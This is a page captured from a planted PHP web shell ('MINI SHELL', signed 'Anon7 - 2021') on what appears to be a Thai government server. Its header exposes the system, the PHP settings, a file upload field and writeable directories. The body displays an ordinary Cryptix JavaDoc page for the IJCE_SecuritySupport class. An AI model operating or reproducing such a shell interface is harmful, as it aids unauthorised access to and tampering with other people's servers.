MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/javadoc/cryptix-3.2.0/xjava/security/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/javadoc/cryptix-3.2.0/xjava/security/IJCE_SecuritySupport.html
<?xml version="1.0" encoding="US-ASCII"?>
<!DOCTYPE html PUBLIC "-//gnu.org///DTD XHTML 1.1 plus Target 1.0//EN" "../../resources/xhtml11-target10.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>IJCE_SecuritySupport (cryptix JavaDoc)</title><script src="../../resources/gjdoc.js" type="text/javascript"><!-- this comment required for konqueror 3.2.2 --></script><meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"/><meta name="generator" content="GNU Gjdoc Standard Doclet"/><meta name="keywords" content="xjava.security.IJCE_SecuritySupport class"/><meta name="keywords" content="findTarget()"/><meta name="keywords" content="checkPrivilegeEnabled()"/><meta name="keywords" content="checkSystemCaller()"/><link rel="stylesheet" type="text/css" href="../../resources/gjdochtml-clean-layout.css" title="GNU Clean"/><link rel="stylesheet" type="text/css" href="../../resources/gjdochtml-clean-color1.css" title="GNU Clean"/></head><body class="content class" onload="if(parent.contentPageLoaded)parent.contentPageLoaded(document.title)"><table class="navbar div top"><tr><td class="navbar div top"><div class="navbar div top"><span class="navbar item enabled"><a href="../../overview-summary.html">Overview</a></span> <span class="navbar item enabled"><a href="package-summary.html">Package</a></span> <span class="navbar item enabled"><a href="tree.html">Tree</a></span> <span class="navbar item enabled"><a href="../../alphaindex.html">Index</a></span> <span class="navbar item enabled"><a href="../../deprecated.html">Deprecated</a></span> <span class="navbar item enabled"><a href="../../about.html">About</a></span></div></td></tr><tr><td class="navi"><a href="../../xjava/security/IJCE_Properties.html">Prev Class</a> | <a href="../../xjava/security/IJCE_Traceable.html">Next Class</a></td><td class="navi"><a href="../../index.html" title="Show in a frameset" target="_top">Frames</a> | <a href="IJCE_SecuritySupport.html" title="Show without frames" target="_top">No Frames</a> </td></tr><tr><td class="navi">Summary: Nested | Field | <a href="#summary-methods">Method</a> | Constr</td><td class="navi">Detail: Nested | Field | <a href="#detail-methods">Method</a> | Constr</td></tr></table><div class="class title outer"><h3 class="class title-package">xjava.security</h3><h1 class="class title-class">Class IJCE_SecuritySupport</h1></div><div class="class inheritance-tree"><ul class="inheritance 0"><li class="inheritance 0"><code>java.lang.Object</code></li><li><ul class="inheritance 1"><li class="inheritance 1"><code>xjava.security.IJCE_SecuritySupport</code></li><li></li></ul></li></ul></div><hr/><div class="class synopsis outer"><div class="class synopsis declaration"><code>(package private)  class <b class="class synopsis name">IJCE_SecuritySupport</b></code></div><div class="class synopsis superclass"><code>extends java.lang.Object</code></div></div><hr/><div class="class description"> This class is used to make any security checks needed by IJCE (for example
 when adding and removing security providers). It is needed to work around
 some nasty compatibility problems that would otherwise arise from supporting
 Java 1.0.2, Java 1.1 and Netscape simultaneously.
 <p/>

 <b>Copyright</b> &copy; 1997
 <a href="http://www.systemics.com/">Systemics Ltd</a> on behalf of the
 <a href="http://www.systemics.com/docs/cryptix/">Cryptix Development Team</a>.
 <br/>All rights reserved.

 <p/><b>$Revision: 1.6 $</b>
</div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>Authors:</b></dt><dd class="tag item">David Hopwood</dd><dd class="tag item">Raif S. Naffah</dd></dl></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>Since:</b></dt><dd>Cryptix 2.2.2</dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><a name="summary-methods" id="summary-methods"/><dl class="table container"><dd><table class="class summary" border="1" width="100%"><tr class="table header"><td colspan="2"><h2 class="table header">Method Summary</h2></td></tr><tr><td class="left" valign="top"><code class="synopsis">(package private) static void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#checkPrivilegeEnabled(String,int)">checkPrivilegeEnabled</a>(String&nbsp;targetname, int&nbsp;depth)</code></dt><dd class="description"> On VMs that support Netscape's PrivilegeManager extensions, this checks
 that the security privilege with name <i>targetname</i> has been enabled.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis">(package private) static void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#checkPrivilegeEnabled(netscape.security.Target,Object,int)">checkPrivilegeEnabled</a>(<a href="../../netscape/security/Target.html" title="Class in netscape.security">Target</a>&nbsp;target, Object&nbsp;arg, int&nbsp;depth)</code></dt><dd class="description"> On VMs that support Netscape's PrivilegeManager extensions, this checks
 that the privilege given by <i>target</i>, with parameter <i>arg</i> has
 been enabled.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis">(package private) static void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#checkPrivilegeEnabled(netscape.security.Target,int)">checkPrivilegeEnabled</a>(<a href="../../netscape/security/Target.html" title="Class in netscape.security">Target</a>&nbsp;target, int&nbsp;depth)</code></dt><dd class="description"> On VMs that support Netscape's PrivilegeManager extensions, this checks
 that the privilege given by <i>target</i> has been enabled.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis">(package private) static void</code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#checkSystemCaller(int)">checkSystemCaller</a>(int&nbsp;depth)</code></dt><dd class="description"> If a SecurityManager is installed, this method checks that there is no class
 loaded by a ClassLoader in the previous <i>depth</i> stack frames.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis">(package private) static <a href="../../netscape/security/Target.html" title="Class in netscape.security">Target</a></code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#findTarget(String)">findTarget</a>(String&nbsp;name)</code></dt><dd class="description"> Returns a Target that can be passed to
 <code>PrivilegeManager.enablePrivilege(...)</code>, in order to request
 permission for an action that requires the user's trust.</dd></dl></td></tr><tr><td class="left" valign="top"><code class="synopsis">(package private) static <a href="../../netscape/security/Target.html" title="Class in netscape.security">Target</a></code></td><td class="right"><dl class="list"><dt class="synopsis"><code><a href="#findTarget(String,Object)">findTarget</a>(String&nbsp;name, Object&nbsp;arg)</code></dt><dd class="description"> Reserved for future use, in case parameterized targets are needed.</dd></dl></td></tr></table></dd></dl><a name="detail-methods" id="detail-methods"/><h2 class="section header">Method Details</h2><div class="section"><a name="checkPrivilegeEnabled(String,int)" id="checkPrivilegeEnabled(String,int)"/><div class="member detail outer"><h3 class="member detail name">checkPrivilegeEnabled</h3><pre class="member detail synopsis">(package private) static void checkPrivilegeEnabled(String targetname,
                                                    int depth)</pre><blockquote class="member detail name"><div class="member detail description"> On VMs that support Netscape's PrivilegeManager extensions, this checks
 that the security privilege with name <i>targetname</i> has been enabled. On other
 VMs, it is equivalent to <code>IJCE_SecuritySupport.checkSystemCaller(depth)</code>.
 <p/>
 For example,
 <blockquote>
    <code>IJCE_SecuritySupport.checkPrivilegeEnabled("AddSecurityProvider", 1)</code>
 </blockquote><blockquote>
 <p/>
 On Netscape this will check that the "AddSecurityProvider" privilege has
 been enabled. On other VMs it will check that either no security manager is
 installed, or the <em>immediate</em> caller is a system class.
</blockquote></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="checkPrivilegeEnabled(netscape.security.Target,Object,int)" id="checkPrivilegeEnabled(netscape.security.Target,Object,int)"/><div class="member detail outer"><h3 class="member detail name">checkPrivilegeEnabled</h3><pre class="member detail synopsis">(package private) static void checkPrivilegeEnabled(<a href="../../netscape/security/Target.html" title="Class in netscape.security">Target</a> target,
                                                    Object arg,
                                                    int depth)</pre><blockquote class="member detail name"><div class="member detail description"> On VMs that support Netscape's PrivilegeManager extensions, this checks
 that the privilege given by <i>target</i>, with parameter <i>arg</i> has
 been enabled. On other VMs, it is equivalent to
 <code>IJCE_SecuritySupport.checkSystemCaller(depth)</code>.
</div><div class="taglet"></div><div class="taglet"></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>See Also:</b></dt><dd><a href="../../xjava/security/IJCE_SecuritySupport.html#checkPrivilegeEnabled(netscape.security.Target,int)"><code>checkPrivilegeEnabled(Target,int)</code></a></dd></dl></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="checkPrivilegeEnabled(netscape.security.Target,int)" id="checkPrivilegeEnabled(netscape.security.Target,int)"/><div class="member detail outer"><h3 class="member detail name">checkPrivilegeEnabled</h3><pre class="member detail synopsis">(package private) static void checkPrivilegeEnabled(<a href="../../netscape/security/Target.html" title="Class in netscape.security">Target</a> target,
                                                    int depth)</pre><blockquote class="member detail name"><div class="member detail description"> On VMs that support Netscape's PrivilegeManager extensions, this checks
 that the privilege given by <i>target</i> has been enabled. On other
 VMs, it is equivalent to <code>IJCE_SecuritySupport.checkSystemCaller(depth)</code>.
 <p/>
 For example,
 <blockquote>
     <code>IJCE_SecuritySupport.checkPrivilegeEnabled(target, 1)</code>
 </blockquote><blockquote>
 <p/>
 On Netscape this will check that the <i>target</i> privilege has
 been enabled. On other VMs it will check that either no security manager is
 installed, or the <em>immediate</em> caller is a system class.
</blockquote></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="checkSystemCaller(int)" id="checkSystemCaller(int)"/><div class="member detail outer"><h3 class="member detail name">checkSystemCaller</h3><pre class="member detail synopsis">(package private) static void checkSystemCaller(int depth)</pre><blockquote class="member detail name"><div class="member detail description"> If a SecurityManager is installed, this method checks that there is no class
 loaded by a ClassLoader in the previous <i>depth</i> stack frames. If there
 is no SecurityManager, it returns silently.
 <p/>
 For example,
 <blockquote>
    <code>IJCE_SecuritySupport.checkSystemCaller(1)</code>
 </blockquote><blockquote>
 will check that either no security manager is installed, or the
 <em>immediate</em> caller is a system class.
</blockquote></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="findTarget(String)" id="findTarget(String)"/><div class="member detail outer"><h3 class="member detail name">findTarget</h3><pre class="member detail synopsis">(package private) static <a href="../../netscape/security/Target.html" title="Class in netscape.security">Target</a> findTarget(String name)
            throws <a href="../../netscape/security/ForbiddenTargetException.html" title="Class in netscape.security">ForbiddenTargetException</a></pre><blockquote class="member detail name"><div class="member detail description"> Returns a Target that can be passed to
 <code>PrivilegeManager.enablePrivilege(...)</code>, in order to request
 permission for an action that requires the user's trust.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">name</code><span class="separator"> - </span><span class="description">the name of the target to be returned</span></dd></dl></div><div class="member detail return list"><dl><dt class="member detail return header"><b>Returns:</b></dt><dd class="member detail return item">the Target object</dd></dl></div><div class="member detail thrown list"><dl><dt class="member detail thrown header"><b>Throws:</b></dt><dd class="member detail thrown item"><code class="name"><a href="../../netscape/security/ForbiddenTargetException.html" title="Class in netscape.security">ForbiddenTargetException</a></code><span class="separator"> - </span><span class="description">if <i>name</i> is not recognized.</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>See Also:</b></dt><dd><code>java.security.IJCE.findTarget(java.lang.String)</code></dd></dl></div><div class="taglet"></div><div class="taglet"></div></blockquote></div><hr/><a name="findTarget(String,Object)" id="findTarget(String,Object)"/><div class="member detail outer"><h3 class="member detail name">findTarget</h3><pre class="member detail synopsis">(package private) static <a href="../../netscape/security/Target.html" title="Class in netscape.security">Target</a> findTarget(String name,
                                           Object arg)
            throws <a href="../../netscape/security/ForbiddenTargetException.html" title="Class in netscape.security">ForbiddenTargetException</a></pre><blockquote class="member detail name"><div class="member detail description"> Reserved for future use, in case parameterized targets are needed. Currently
 this always throws a ForbiddenTargetException.
</div><div class="parameter"><dl><dt class="header"><b>Parameters:</b></dt><dd class="item"><code class="name">name</code><span class="separator"> - </span><span class="description">the name of the target to be returned</span></dd><dd class="item"><code class="name">arg</code><span class="separator"> - </span><span class="description">a parameter object</span></dd></dl></div><div class="member detail return list"><dl><dt class="member detail return header"><b>Returns:</b></dt><dd class="member detail return item">the Target object</dd></dl></div><div class="member detail thrown list"><dl><dt class="member detail thrown header"><b>Throws:</b></dt><dd class="member detail thrown item"><code class="name"><a href="../../netscape/security/ForbiddenTargetException.html" title="Class in netscape.security">ForbiddenTargetException</a></code><span class="separator"> - </span><span class="description">if <i>name</i> is not recognized.</span></dd></dl></div><div class="taglet"></div><div class="taglet"></div><div class="taglet"><dl class="tag list"><dt class="tag section header"><b>See Also:</b></dt><dd><code>java.security.IJCE.findTarget(java.lang.String, java.lang.Object)</code></dd></dl></div><div class="taglet"></div><div class="taglet"></div></blockquote></div></div><p class="navbar bottom spacer"> </p><table class="navbar div bottom"><tr><td><div class="navbar div top"><span class="navbar item enabled"><a href="../../overview-summary.html">Overview</a></span> <span class="navbar item enabled"><a href="package-summary.html">Package</a></span> <span class="navbar item enabled"><a href="tree.html">Tree</a></span> <span class="navbar item enabled"><a href="../../alphaindex.html">Index</a></span> <span class="navbar item enabled"><a href="../../deprecated.html">Deprecated</a></span> <span class="navbar item enabled"><a href="../../about.html">About</a></span></div></td></tr></table></body></html>

Anon7 - 2021